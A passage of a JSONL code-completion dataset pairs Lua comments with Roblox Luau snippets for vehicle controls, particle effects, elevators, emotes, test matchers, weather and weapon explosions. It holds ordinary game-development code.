EXTERIOR_RADIUS\n\tlocal interior_radius = EXTERIOR_RADIUS - thickness\n\tlocal inv_tPercent = 1 - tPercent/2\n\t\n\tlocal exCircum = (TAU*EXTERIOR_RADIUS)/subN\n\tlocal exTheta = exCircum / EXTERIOR_RADIUS\n\tlocal inCircum = (TAU*interior_radius)/subN - GAP\n\tlocal inTheta = inCircum / (interior_radius)\n\t\n\tlocal edge = Vector2.new(math.cos(inTheta), math.sin(inTheta))*interior_radius - Vector2.new(interior_radius, 0)\n\tlocal edgeLen = math.min(edge.Magnitude / (EXTERIOR_RADIUS*2), 0.18)\n\t\n\tfor i = 0, subN - 1 do\n\t\tlocal vpf = VPF:Clone()\n\t\tlocal cam = CAMERA:Clone()\n\t\tvpf.CurrentCamera = cam\n\t\tvpf.Name = i + 1\n\t\tvpf.ZIndex = ZIndex\n\t\t\n\t\tlocal theta = (i/subN)*TAU + rotation\n\t\t\n\t\tlocal sub = section:Clone()\n\t\tpivotAround(sub, CENTER, CENTER * CFrame.fromEulerAnglesXYZ(0, 0, theta + EX_OFFSET))\n\t\tsub.Parent = vpf\n\t\t\n\t\tlocal t = theta - EX_OFFSET + exTheta/2 + G_OFFSET\n\t\tlocal c = -math.cos(t)/2 * inv_tPercent\n\t\tlocal s = math.sin(t)/2 * inv_tPercent\n\t\t\n\t\tlocal attach = Instance.new(\"Frame\")\n\t\tattach.Name = i + 1\n\t\tattach.BackgroundTransparency = 1\n\t\tattach.BackgroundColor3 = Color3.new()\n\t\tattach.BorderSizePixel = 0\n\t\tattach.AnchorPoint = Vector2.new(0.5, 0.5)\n\t\tattach.Position = UDim2.new(0.5 + c, 0, 0.5 + s, 0)\n\t\tattach.Size = UDim2.new(edgeLen, 0, edgeLen, 0)\n\t\tattach.Parent = attachFrame\n\t\tattach.ZIndex = ZIndex\n\t\t\n\t\tcam.Parent = vpf\n\t\tvpf.Parent = radialFrame\n\tend\n\t\n\tsection:Destroy()\n\t\n\tlocal vpf = VPF:Clone()\n\tlocal cam = CAMERA:Clone()\n\tvpf.CurrentCamera = cam\n\tvpf.Name = \"RadialDial\"\n\t\n\tlocal g = GAP / (2*dialEx)\n\tlocal off = -TAU/4 + g\n\t\n\tpivotAround(innerSection, CENTER, CENTER * CFrame.fromEulerAnglesXYZ(0, 0, rotation + off))\n\tinnerSection.Parent = vpf\n\tvpf.Parent = frame\n\t\n\tframe.BackgroundTransparency = 1\n\tframe.SizeConstraint = Enum.SizeConstraint.RelativeYY\n\tframe.Size = UDim2.new(1, 0, 1, 0)\n\treturn frame\nend\n"} +{"prompt": "--iMad--", "completion": "\n\nlocal function AttachParticleControl(source_part)\n\t\n\tlocal prtc = nil\n\tlocal prtc2 = nil\n\t\n\tlocal function Start()\n\t\tprtc = script.Nuts:clone()\n\t\tprtc.Parent = source_part\n\t\tprtc2 = script.Bolts:clone()\n\t\tprtc2.Parent = source_part\n\tend\n\t\n\tlocal function Update()\n\t\t\n\tend\n\t\n\tlocal function Stop()\n\t\tif prtc ~= nil then\n\t\t\tprtc:destroy()\n\t\t\tprtc = nil\n\t\tend\n\t\tif prtc2 ~= nil then\n\t\t\tprtc2:destroy()\n\t\t\tprtc2 = nil\n\t\tend\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachParticleControl\n"} +{"prompt": "-- Disable the backpack", "completion": "\nStarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, false)"} +{"prompt": "--Eject--", "completion": "\n\nlocal function AttachParticleControl(source_part)\n\t\n\tlocal prtc = nil\n\t\n\tlocal function Start()\n\t\tprtc = script.Eject:clone()\n\t\tprtc.Parent = source_part\n\tend\n\t\n\tlocal function Update()\n\t\t\n\tend\n\t\n\tlocal function Stop()\n\t\tif prtc ~= nil then\n\t\t\tprtc:destroy()\n\t\t\tprtc = nil\n\t\tend\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachParticleControl\n"} +{"prompt": "-- setup emote chat hook", "completion": "\ngame:GetService(\"Players\").LocalPlayer.Chatted:connect(function(msg)\n\tlocal emote = \"\"\n\tif msg == \"/e dance\" then\n\t\temote = dances[math.random(1, #dances)]\n\telseif (string.sub(msg, 1, 3) == \"/e \") then\n\t\temote = string.sub(msg, 4)\n\telseif (string.sub(msg, 1, 7) == \"/emote \") then\n\t\temote = string.sub(msg, 8)\n\tend\n\t\n\tif (pose == \"Standing\" and emoteNames[emote] ~= nil) then\n\t\tplayAnimation(emote, 0.1, Humanoid)\n\tend\n\nend)\n\n"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nlocal u2 = {};\nreturn function(p1)\n\tif u2[p1] then\n\t\treturn u2[p1];\n\tend;\n\tlocal u3 = nil;\n\tif not pcall(function()\n\t\tu3 = game.Players:GetNameFromUserIdAsync(p1);\n\tend) then\n\t\treturn;\n\tend;\n\tu2[p1] = u3;\n\treturn nil;\nend;\n"} +{"prompt": "--SynapseX Decompiler", "completion": "\n\nscript.Parent:WaitForChild(\"Car\")\nscript.Parent:WaitForChild(\"IsOn\")\nscript.Parent:WaitForChild(\"ControlsOpen\")\nscript.Parent:WaitForChild(\"Values\")\nlocal player = game.Players.LocalPlayer\nlocal mouse = player:GetMouse()\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal car = script.Parent.Car.Value\nlocal _Tune = require(car[\"A-Chassis Tune\"])\nlocal hpScaling = _Tune.WeightScaling * 10\nlocal FBrakeForce = _Tune.FBrakeForce\nlocal RBrakeForce = _Tune.RBrakeForce\nlocal PBrakeForce = _Tune.PBrakeForce\nif not workspace:PGSIsEnabled() then\n\thpScaling = _Tune.LegacyScaling * 10\n\tFBrakeForce = _Tune.FLgcyBForce\n\tRBrakeForce = _Tune.RLgcyBForce\n\tPBrakeForce = _Tune.LgcyPBForce\nend\nlocal _IsOn = _Tune.AutoStart\nif _Tune.AutoStart then\n\tscript.Parent.IsOn.Value = true\nend\nlocal _GSteerT = 0\nlocal _GSteerC = 0\nlocal _GThrot = 0\nlocal _GBrake = 0\nlocal _ClutchOn = true\nlocal _ClPressing = false\nlocal _RPM = 0\nlocal _HP = 0\nlocal _OutTorque = 0\nlocal _CGear = 0\nlocal _TMode = _Tune.TransModes[1]\nlocal _MSteer = false\nlocal _SteerL = false\nlocal _SteerR = false\nlocal _PBrake = false\nlocal _TCS = _Tune.TCSEnabled\nlocal _TCSActive = false\nlocal _ABS = _Tune.ABSEnabled\nlocal _ABSActive = false\nlocal FlipWait = tick()\nlocal FlipDB = false\nlocal _InControls = false\ncar.DriveSeat.ChildRemoved:connect(function(child)\n\tif child.Name == \"SeatWeld\" and child:IsA(\"Weld\") then\n\t\tscript.Parent:Destroy()\n\tend\nend)\nlocal _CTRL = _Tune.Controls\nlocal Controls = Instance.new(\"Folder\", script.Parent)\nControls.Name = \"Controls\"\nfor i, v in pairs(_CTRL) do\n\tdo\n\t\tlocal a = Instance.new(\"StringValue\", Controls)\n\t\ta.Name = i\n\t\ta.Value = v.Name\n\t\ta.Changed:connect(function()\n\t\t\tif i == \"MouseThrottle\" or i == \"MouseBrake\" then\n\t\t\t\tif a.Value == \"MouseButton1\" or a.Value == \"MouseButton2\" then\n\t\t\t\t\t_CTRL[i] = Enum.UserInputType[a.Value]\n\t\t\t\telse\n\t\t\t\t\t_CTRL[i] = Enum.KeyCode[a.Value]\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t_CTRL[i] = Enum.KeyCode[a.Value]\n\t\t\tend\n\t\tend)\n\tend\nend\nlocal _PPH = _Tune.Peripherals\nfor i, v in pairs(_PPH) do\n\tdo\n\t\tlocal a = Instance.new(\"IntValue\", Controls)\n\t\ta.Name = i\n\t\ta.Value = v\n\t\ta.Changed:connect(function()\n\t\t\ta.Value = math.min(100, math.max(0, a.Value))\n\t\t\t_PPH[i] = a.Value\n\t\tend)\n\tend\nend\nfunction DealWithInput(input, IsRobloxFunction)\n"} +{"prompt": "-- Important note: Precision checks currently only for 'players' and the 'localplayer', not 'parts'.", "completion": "\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nElevator = This.Parent.Parent.Parent\nCustomLabel = require(This.Parent.Parent.Parent.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nElevator:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,7 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].Transparency = (l:sub(r,r) == \"1\" and 0 or 1)\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Table used to hold Observer objects in memory.", "completion": "\nlocal strongRefs: Set = {}\n"} +{"prompt": "--//Setup//--", "completion": "\nlocal SongsHolder = script.Parent\n\nlocal Songs = SongsHolder.Songs:GetChildren()\n\nlocal CurrentSong = SongsHolder.CurrentSong\n"} +{"prompt": "-- local serialize: Function --[[ ROBLOX TODO: Unhandled node for type: TSIndexedAccessType ]] --[[ NewPlugin['serialize'] ]]", "completion": "\nlocal function serialize(\n\tobject: ReactTestObject,\n\tconfig: Config,\n\tindentation: string,\n\tdepth: number,\n\trefs: Refs,\n\tprinter: Printer\n)\n\tdepth += 1\n\treturn if depth > config.maxDepth\n\t\tthen printElementAsLeaf(object.type, config)\n\t\telse printElement(\n\t\t\tobject.type,\n\t\t\tif object.props ~= nil\n\t\t\t\tthen printProps(\n\t\t\t\t\tgetPropKeys(object),\n\t\t\t\t\tobject.props,\n\t\t\t\t\tconfig,\n\t\t\t\t\tindentation .. config.indent,\n\t\t\t\t\tdepth,\n\t\t\t\t\trefs,\n\t\t\t\t\tprinter\n\t\t\t\t)\n\t\t\t\telse \"\",\n\t\t\tif object.children ~= nil\n\t\t\t\tthen printChildren(object.children, config, indentation .. config.indent, depth, refs, printer)\n\t\t\t\telse \"\",\n\t\t\tconfig,\n\t\t\tindentation\n\t\t)\nend\nexports.serialize = serialize\n"} +{"prompt": "-------------------------", "completion": "\n\nmouse.KeyDown:connect(function (key)\n key = string.lower(key)\n if key == \"a\" or key:byte() == 20 then\n a = true\n h.DesiredAngle = 0.3\n elseif key == \"d\" or key:byte() == 19 then\n d = true\n h.DesiredAngle = -0.3\n elseif key == \"w\" or key:byte() == 17 then\n w = true\n rwd.Throttle = 1\n\t\t\t\trwd.Torque = tq\n carSeat.Throttle = 1\t\t\t\t\n\t\t\t\tcarSeat.Torque = cst\n\t\t\t\tcarSeat.Parent.Parent.HW.B1.CanCollide = false\n\t\t\t\tcarSeat.Parent.Parent.HW.B2.CanCollide = false\n elseif key == \"s\" or key:byte() == 18 then\n s = true\n carSeat.Throttle = -1 \n carSeat.Torque = fbrk\n rwd.Throttle = -1 \n rwd.Torque = brk\n\t\t\telseif key:byte() == 48 then\t\t\t\t\n\t\t\t\thb1.CanCollide = true\n\t\t\t\thb2.CanCollide = true\n end\nend)\n \nmouse.KeyUp:connect(function (key)\n key = string.lower(key)\n if key == \"a\" or key:byte() == 20 then\n print(\"a up\")\n if d == false then\n \th.DesiredAngle = 0\n end\n elseif key == \"d\" or key:byte() == 19 then\n print(\"d up\")\n if a == false then\n \th.DesiredAngle = 0\n\t\t\t\tend\n\t\tend\n a = false\n d = false\nend)\n \nmouse.KeyUp:connect(function (key)\n key = string.lower(key)\nif key == \"w\" or key == \"s\" or key:byte() == 17 or key:byte() == 18 then\n rwd.Throttle = 0\nrwd.Torque = cst\n carSeat.Throttle = 0\ncarSeat.Torque = cst\n\t\tcarSeat.Parent.Parent.HW.B1.CanCollide = false\n\t\tcarSeat.Parent.Parent.HW.B2.CanCollide = false\n\t\t\telseif key:byte() == 48 then\n\t\thb1.CanCollide = false\n\t\thb2.CanCollide = false\n end\nend) \n\nstandButton.MouseButton1Click:connect(function()\n\tlocal ks = carSeat.Parent.KP.Motor\n\tks.MaxVelocity = .1\n if ks.DesiredAngle == 0 then\n\t\t\tks.DesiredAngle = -1.571\n else \n\t\t\tks.DesiredAngle = 0\n end\nend)\n\ncamButton.MouseButton1Click:connect(function()\n\t\tif cam == (\"car\") then\n\t\t\tCamera.CameraSubject = player.Character.Humanoid\n\t\t\tCamera.CameraType = (\"Attach\")\n\t\t\tcam = (\"lockplr\")\n\t\telseif cam == (\"lockplr\") then\n\t\t\tCamera.CameraSubject = player.Character.Humanoid\n\t\t\tCamera.CameraType = (\"Custom\")\n\t\t\tcam = (\"freeplr\")\n elseif cam == (\"freeplr\") then\n\t\t\tCamera.CameraSubject = carSeat\n\t\t\tCamera.CameraType = (\"Custom\")\n\t\t\tcam = (\"car\")\n end\nend)\n"} +{"prompt": "-- Make Connection strict", "completion": "\nsetmetatable(Connection, {\n\t__index = function(_tb, key)\n\t\terror((\"Attempt to get Connection::%s (not a valid member)\"):format(tostring(key)), 2)\n\tend,\n\t__newindex = function(_tb, key, _value)\n\t\terror((\"Attempt to set Connection::%s (not a valid member)\"):format(tostring(key)), 2)\n\tend,\n})\n"} +{"prompt": "-- Also set this to true if you want the thumbstick to not affect throttle, only triggers when a gamepad is conected", "completion": "\nlocal onlyTriggersForThrottle = false\nlocal ZERO_VECTOR3 = Vector3.new(0,0,0)\n\nlocal AUTO_PILOT_DEFAULT_MAX_STEERING_ANGLE = 35\n\n"} +{"prompt": "-- initialize local variables", "completion": "\nlocal camera = workspace.CurrentCamera\nlocal player = game.Players.LocalPlayer\nlocal character = player.Character\nlocal humanoid = character.Humanoid\n "} +{"prompt": "--////////////////////////////// Include\n--//////////////////////////////////////", "completion": "\nlocal ChatConstants = require(ReplicatedModules:WaitForChild(\"ChatConstants\"))\n\nlocal ChatChannel = require(modulesFolder:WaitForChild(\"ChatChannel\"))\nlocal Speaker = require(modulesFolder:WaitForChild(\"Speaker\"))\nlocal Util = require(modulesFolder:WaitForChild(\"Util\"))\n\nlocal ChatLocalization = nil\npcall(function() ChatLocalization = require(game:GetService(\"Chat\").ClientChatModules.ChatLocalization) end)\nif ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end\n"} +{"prompt": "--[ LOCALS ]--", "completion": "\n\nlocal Command = \"/korblox\" or \"/korblox \"\n"} +{"prompt": "--[[**\n\tasserts a given check\n\n\t@param check The function to wrap with an assert\n\n\t@returns A function that simply wraps the given check in an assert\n**--]]", "completion": "\nfunction t.strict(check)\n\treturn function(...)\n\t\tassert(check(...))\n\tend\nend\n\ndo\n\tlocal checkChildren = t.map(t.string, t.callback)\n"} +{"prompt": "---------------------------\n--[[\n\t--Main anchor point is the DriveSeat \t\n\t\n\tUsage:\n\t\tMakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is \"Weld\" **Applies to Motor welds only\n\t\tModelWeld(Model,MainPart)\n\tExample:\n\t\tMakeWeld(car.DriveSeat,misc.PassengerSeat)\n\t\tMakeWeld(car.DriveSeat,misc.SteeringHead,\"Motor\",.2)\n\t\tModelWeld(car.DriveSeat,misc.Door)\n]]\n--Weld stuff here", "completion": "\n\n\n\n\n\n\n"} +{"prompt": "--Made by Stickmasterluke", "completion": "\n\n\n\nsp=script.Parent\nframes=10\nbright=game.Lighting.Brightness\nwait()\ngame.Lighting.Brightness = 10\nfor frame=1,frames do\n\twait()\n\tfor i,v in ipairs(sp:GetChildren()) do\n\t\tif v then\n\t\t\tif v.className==\"Part\" then\n\t\t\t\tv.Transparency=frame/frames\n\t\t\tend\n\t\tend\n\tend\nend\ngame.Lighting.Brightness = bright\nsp:remove()\n\n\n\n\n"} +{"prompt": "-- No getExpectedType method, because it matches either null or undefined.", "completion": "\n\nfunction Anything:toAsymmetricMatcher(): string\n\treturn \"Anything\"\nend\n\nlocal ArrayContaining = {}\nArrayContaining.__index = ArrayContaining\nsetmetatable(ArrayContaining, AsymmetricMatcher)\nfunction ArrayContaining.new(sample: { any }, inverse: boolean?)\n\tinverse = if inverse ~= nil then inverse else false\n\tlocal self = AsymmetricMatcher.new(sample, inverse)\n\tsetmetatable(self, ArrayContaining)\n\treturn self\nend\n\nfunction ArrayContaining:asymmetricMatch(other: { any })\n\tif not Array.isArray(self.sample) then\n\t\terror(string.format(\"You must provide an array to %s, not '%s'.\", self:toString(), typeof(self.sample)))\n\tend\n\n\tlocal result = false\n\tif #self.sample == 0 then\n\t\tresult = true\n\telseif\n\t\tArray.isArray(other)\n\t\tand Array.every(self.sample, function(item)\n\t\t\treturn Array.some(other, function(another)\n\t\t\t\treturn equals(item, another)\n\t\t\tend)\n\t\tend)\n\tthen\n\t\tresult = true\n\tend\n\n\tif self.inverse then\n\t\treturn not result\n\tend\n\treturn result\nend\n\nfunction ArrayContaining:toString(): string\n\tif self.inverse then\n\t\treturn \"ArrayNotContaining\"\n\tend\n\treturn \"ArrayContaining\"\nend\n\nfunction ArrayContaining:getExpectedType(): string\n\treturn \"array\"\nend\n\nlocal ObjectContaining = {}\nObjectContaining.__index = ObjectContaining\nsetmetatable(ObjectContaining, AsymmetricMatcher)\nfunction ObjectContaining.new(sample: { any }, inverse: boolean?)\n\tinverse = if inverse ~= nil then inverse else false\n\tlocal self = AsymmetricMatcher.new(sample, inverse)\n\tsetmetatable(self, ObjectContaining)\n\treturn self\nend\n\nfunction ObjectContaining:asymmetricMatch(other: { any })\n\t-- ROBLOX deviation: check for type table instead of object\n\tif typeof(self.sample) ~= \"table\" then\n\t\terror(string.format(\"You must provide an object to %s, not '%s'.\", self:toString(), typeof(self.sample)))\n\tend\n\n\tlocal result = true\n\n\tfor property, value in pairs(self.sample) do\n\t\tif not hasProperty(other, property) or not equals(value, other[property]) then\n\t\t\tresult = false\n\t\t\tbreak\n\t\tend\n\tend\n\n\treturn if self.inverse then not result else result\nend\n\nfunction ObjectContaining:toString(): string\n\tif self.inverse then\n\t\treturn \"ObjectNotContaining\"\n\tend\n\treturn \"ObjectContaining\"\nend\n\nfunction ObjectContaining:getExpectedType(): string\n\treturn \"object\"\nend\n\nlocal StringContaining = {}\nStringContaining.__index = StringContaining\nsetmetatable(StringContaining, AsymmetricMatcher)\nfunction StringContaining.new(sample: string, inverse: boolean?)\n\tinverse = if inverse ~= nil then inverse else false\n\tif not isA(\"string\", sample) then\n\t\terror(\"Expected is not a String\")\n\tend\n\tlocal self = AsymmetricMatcher.new(sample, inverse)\n\tsetmetatable(self, StringContaining)\n\treturn self\nend\n\nfunction StringContaining:asymmetricMatch(other: string): boolean\n\tlocal result = isA(\"string\", other) and other:find(self.sample, 1, true)\n\n\tif self.inverse then\n\t\treturn not result\n\tend\n\treturn not not result\nend\n\nfunction StringContaining:toString(): string\n\tif self.inverse then\n\t\treturn \"StringNotContaining\"\n\tend\n\treturn \"StringContaining\"\nend\n\nfunction StringContaining:getExpectedType(): string\n\treturn \"string\"\nend\n\nlocal StringMatching = {}\nStringMatching.__index = StringMatching\nsetmetatable(StringMatching, AsymmetricMatcher)\nfunction StringMatching.new(sample: string | RegExp, inverse: boolean?)\n\tinverse = if inverse ~= nil then inverse else false\n\t-- ROBLOX deviation: we accept matches against a Lua string pattern or RegExp polyfill\n\tif not isA(\"string\", sample) and not isA(\"regexp\", sample) then\n\t\terror(\"Expected is not a String\")\n\tend\n\tlocal self = AsymmetricMatcher.new(sample, inverse)\n\tsetmetatable(self, StringMatching)\n\treturn self\nend\n\nfunction StringMatching:asymmetricMatch(other: string): boolean\n\tlocal result = false\n\tif isA(\"string\", other) then\n\t\t-- Lua pattern case\n\t\tif isA(\"string\", self.sample) then\n\t\t\t-- ROBLOX deviation: escape chalk sequences if necessary\n\t\t\tself.sample = string.gsub(self.sample, string.char(27) .. \"%[\", string.char(27) .. \"%%[\")\n\t\t\tresult = other:find(self.sample)\n\t\t\t-- Regex case\n\t\telse\n\t\t\tresult = self.sample:test(other)\n\t\tend\n\tend\n\n\tif self.inverse then\n\t\treturn not result\n\tend\n\treturn not not result\nend\n\nfunction StringMatching:toString(): string\n\tif self.inverse then\n\t\treturn \"StringNotMatching\"\n\tend\n\treturn \"StringMatching\"\nend\n\nfunction StringMatching:getExpectedType(): string\n\treturn \"string\"\nend\n\nreturn {\n\tAsymmetricMatcher = AsymmetricMatcher,\n\tany = function(expectedObject: any)\n\t\treturn Any.new(expectedObject)\n\tend,\n\tanything = function()\n\t\treturn Anything.new()\n\tend,\n\tarrayContaining = function(sample: { any })\n\t\treturn ArrayContaining.new(sample)\n\tend,\n\tarrayNotContaining = function(sample: { any })\n\t\treturn ArrayContaining.new(sample, true)\n\tend,\n\tobjectContaining = function(sample: any)\n\t\treturn ObjectContaining.new(sample)\n\tend,\n\tobjectNotContaining = function(sample: any)\n\t\treturn ObjectContaining.new(sample, true)\n\tend,\n\tstringContaining = function(expected: string)\n\t\treturn StringContaining.new(expected)\n\tend,\n\tstringNotContaining = function(expected: string)\n\t\treturn StringContaining.new(expected, true)\n\tend,\n\tstringMatching = function(expected: string | RegExp)\n\t\treturn StringMatching.new(expected)\n\tend,\n\tstringNotMatching = function(expected: string | RegExp)\n\t\treturn StringMatching.new(expected, true)\n\tend,\n}\n"} +{"prompt": "-- NOTICE: Player property names do not all match their StarterPlayer equivalents,\n-- with the differences noted in the comments on the right", "completion": "\nlocal PLAYER_CAMERA_PROPERTIES =\n{\n\t\"CameraMinZoomDistance\",\n\t\"CameraMaxZoomDistance\",\n\t\"CameraMode\",\n\t\"DevCameraOcclusionMode\",\n\t\"DevComputerCameraMode\",\t\t\t-- Corresponds to StarterPlayer.DevComputerCameraMovementMode\n\t\"DevTouchCameraMode\",\t\t\t\t-- Corresponds to StarterPlayer.DevTouchCameraMovementMode\n\n\t-- Character movement mode\n\t\"DevComputerMovementMode\",\n\t\"DevTouchMovementMode\",\n\t\"DevEnableMouseLock\",\t\t\t\t-- Corresponds to StarterPlayer.EnableMouseLockOption\n}\n\nlocal USER_GAME_SETTINGS_PROPERTIES =\n{\n\t\"ComputerCameraMovementMode\",\n\t\"ComputerMovementMode\",\n\t\"ControlMode\",\n\t\"GamepadCameraSensitivity\",\n\t\"MouseSensitivity\",\n\t\"RotationType\",\n\t\"TouchCameraMovementMode\",\n\t\"TouchMovementMode\",\n}\n"} +{"prompt": "----------------------------------------------------------------------\n--------------------[ RESET CAMERA ]----------------------------------\n----------------------------------------------------------------------", "completion": "\n\nGun.ChildRemoved:connect(function(Child)\n\tif Child == Handle and Plyr.Value then\n\t\tlocal ignoreCode = Gun:WaitForChild(\"clientMain\"):WaitForChild(\"ignoreCode\").Value\n\t\tlocal resetCam = script:WaitForChild(\"resetCam\")\n\t\tresetCam:WaitForChild(\"ignoreCode\").Value = ignoreCode\n\t\tresetCam.Parent = Plyr.Value.PlayerGui\n\tend\nend)\n"} +{"prompt": "-- OnRun modules", "completion": "\nlocal RunFirstNeonParts = require(script.FirstNeonParts)\nlocal ThirdBeatDrop = require(script.ThirdBeatDrop)\nlocal Cooldown = require(script.Cooldown)\nlocal BouncePlatforms = require(ReplicatedStorage.BouncePlatforms)\n"} +{"prompt": "-- Called when any relevant values of GameSettings or LocalPlayer change, forcing re-evalulation of\n-- current control scheme", "completion": "\nfunction ControlModule:OnComputerMovementModeChange()\n\tlocal controlModule, success = self:SelectComputerMovementModule()\n\tif success then\n\t\tself:SwitchToController(controlModule)\n\tend\nend\n\nfunction ControlModule:OnTouchMovementModeChange()\n\tlocal touchModule, success = self:SelectTouchModule()\n\tif success then\n\t\twhile not self.touchControlFrame do\n\t\t\twait()\n\t\tend\n\t\tself:SwitchToController(touchModule)\n\tend\nend\n\nfunction ControlModule:CreateTouchGuiContainer()\n\tif self.touchGui then self.touchGui:Destroy() end\n\n\t-- Container for all touch device guis\n\tself.touchGui = Instance.new(\"ScreenGui\")\n\tself.touchGui.Name = \"TouchGui\"\n\tself.touchGui.ResetOnSpawn = false\n\tself.touchGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling\n\tself:UpdateTouchGuiVisibility()\n\n\tself.touchControlFrame = Instance.new(\"Frame\")\n\tself.touchControlFrame.Name = \"TouchControlFrame\"\n\tself.touchControlFrame.Size = UDim2.new(1, 0, 1, 0)\n\tself.touchControlFrame.BackgroundTransparency = 1\n\tself.touchControlFrame.Parent = self.touchGui\n\n\tself.touchGui.Parent = self.playerGui\nend\n\nfunction ControlModule:GetClickToMoveController()\n\tif not self.controllers[ClickToMove] then\n\t\tself.controllers[ClickToMove] = ClickToMove.new(CONTROL_ACTION_PRIORITY)\n\tend\n\treturn self.controllers[ClickToMove]\nend\n\nreturn ControlModule.new()\n"} +{"prompt": "-- Place in StarterGui", "completion": "\n\nlocal Amount = 5\t\t-- Amount of drops to generate per .03 seconds\nlocal Distance = 50\t\t-- Distance from player on the x and z axis\nlocal Height = 60\t\t-- Distance from player on the y axis\n\nlocal RainDrop = Instance.new(\"Part\")\nRainDrop.CanCollide = false\nRainDrop.BrickColor = BrickColor.new(\"Pastel light blue\")\nRainDrop.FormFactor = \"Custom\"\nRainDrop.Size = Vector3.new(.2, 1.2, .2)\nRainDrop.BottomSurface = \"Smooth\"\nRainDrop.TopSurface = \"Smooth\"\nRainDrop.Transparency = .5\nlocal Mesh = Instance.new(\"BlockMesh\")\nMesh.Scale = Vector3.new(.4, 2, .4)\nMesh.Parent = RainDrop\n\nwhile wait() do\n\tfor i = 1, Amount do\n\t\tlocal drop = RainDrop:Clone()\n\t\tdrop.Parent = game.Workspace.CurrentCamera\n\t\tdrop.CFrame = game.Players.LocalPlayer.Character.Torso.CFrame + Vector3.new(math.random(-Distance, Distance), Height ,math.random(-Distance, Distance))\n\t\tgame:GetService(\"Debris\"):AddItem(drop, 3)\n\t\tdrop.Touched:connect(function()\n\t\t\tdrop:Remove()\n\t\tend)\n\tend\nend\n"} +{"prompt": "-- Returns the ancestor that contains a Humanoid, if it exists", "completion": "\nlocal function FindCharacterAncestor(subject)\n\tif subject and subject ~= Workspace then\n\t\tlocal humanoid = subject:FindFirstChild('Humanoid')\n\t\tif humanoid then\n\t\t\treturn subject, humanoid\n\t\telse\n\t\t\treturn FindCharacterAncestor(subject.Parent)\n\t\tend\n\tend\n\treturn nil\nend\n\nlocal function OnExplosionHit(hitPart)\n\tif hitPart then\n\t\tlocal _, humanoid = FindCharacterAncestor(hitPart.Parent)\n\t\tif humanoid and humanoid.Health > 0 and not hitPart:IsDescendantOf(CreatorTag.Value.Character) then\n\t\t\tCreatorTag:Clone().Parent=humanoid\n\t\t\thumanoid:TakeDamage(100)\n\t\tend\n\tend\nend\n\nlocal function OnTouched(otherPart)\n\tif Rocket and otherPart then\n\t\t-- Fly through anything in the ignore list\n\t\tif IGNORE_LIST[string.lower(otherPart.Name)] then\n\t\t\treturn\n\t\tend\n\n\t\t-- Fly through the creator\n\t\tlocal myPlayer = CreatorTag.Value\n\t\tif myPlayer and myPlayer.Character and myPlayer.Character:IsAncestorOf(otherPart) then\n\t\t\treturn\n\t\tend\n\t\t\n\t\tOnExplosionHit(hitPart)\n\t\t\n\t\t-- Boom\n\t\tlocal explosion = Instance.new('Explosion')\n\t\texplosion.BlastPressure = BLAST_PRESSURE\n\t\texplosion.BlastRadius = BLAST_RADIUS\n\t\t-- todo configure based on proximity\n\t\texplosion.DestroyJointRadiusPercent = 0\n\t\t\n\t\texplosion.Position = Rocket.Position\n\t\texplosion.Hit:connect(OnExplosionHit)\n\t\texplosion.Parent = Workspace\n\n\t\t-- Move this script and the creator tag (so our custom logic can execute), then destroy the rocket\n\t\tscript.Parent = explosion\n\t\tCreatorTag.Parent = script\n\t\tRocket:Destroy()\n\tend\nend\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nlocal tweenService = game:GetService(\"TweenService\")\nThis = script.Parent\nLift = This.Parent.Parent.Parent\n\nfor i,v in pairs(Lift.Car:WaitForChild(\"Welds\"):GetChildren()) do\n\tif v.Part1 == script.Parent.Button then v:Destroy() end\nend\nlocal weld = Instance.new(\"ManualWeld\", This.Button)\nweld.C0 = Lift.Car.Platform.CFrame:inverse() * This.Button.CFrame\nweld.Part0 = Lift.Car.Platform\nweld.Part1 = This.Button\nclick = false\n\nfor x,x in pairs(This.Button:GetChildren()) do \n\tif x:IsA(\"SurfaceGui\") and x.Name == (\"Button\") then \n\t\tx.Button.MouseButton1Click:connect(function()\n\t\t\tif click == false then\n\t\t\t\tclick = true\n\t\t\t\ttweenService:Create(weld,TweenInfo.new(0.1),{\n\t\t\t\t\t[\"C1\"] = weld.C1*CFrame.new(-0.003, 0, 0),\n\t\t\t\t}):Play()\n\t\t\t\twait(0.1)\n\t\t\t\ttweenService:Create(weld,TweenInfo.new(0.1),{\n\t\t\t\t\t[\"C1\"] = weld.C1*CFrame.new(0.003, 0, 0),\n\t\t\t\t}):Play()\n\t\t\t\twait(0.1)\n\t\t\t\tclick = false\n\t\t\tend\n\t\tend)\n\tend\nend\n"} +{"prompt": "--[[function TweenProperty(obj, propName, inita, enda, length,sentinel)\n\tlocal startTime = tick()\n\tlocal mySentinel = sentinel.Value\n\tlocal diff = enda-inita\n\twhile tick()-startTime\n"} 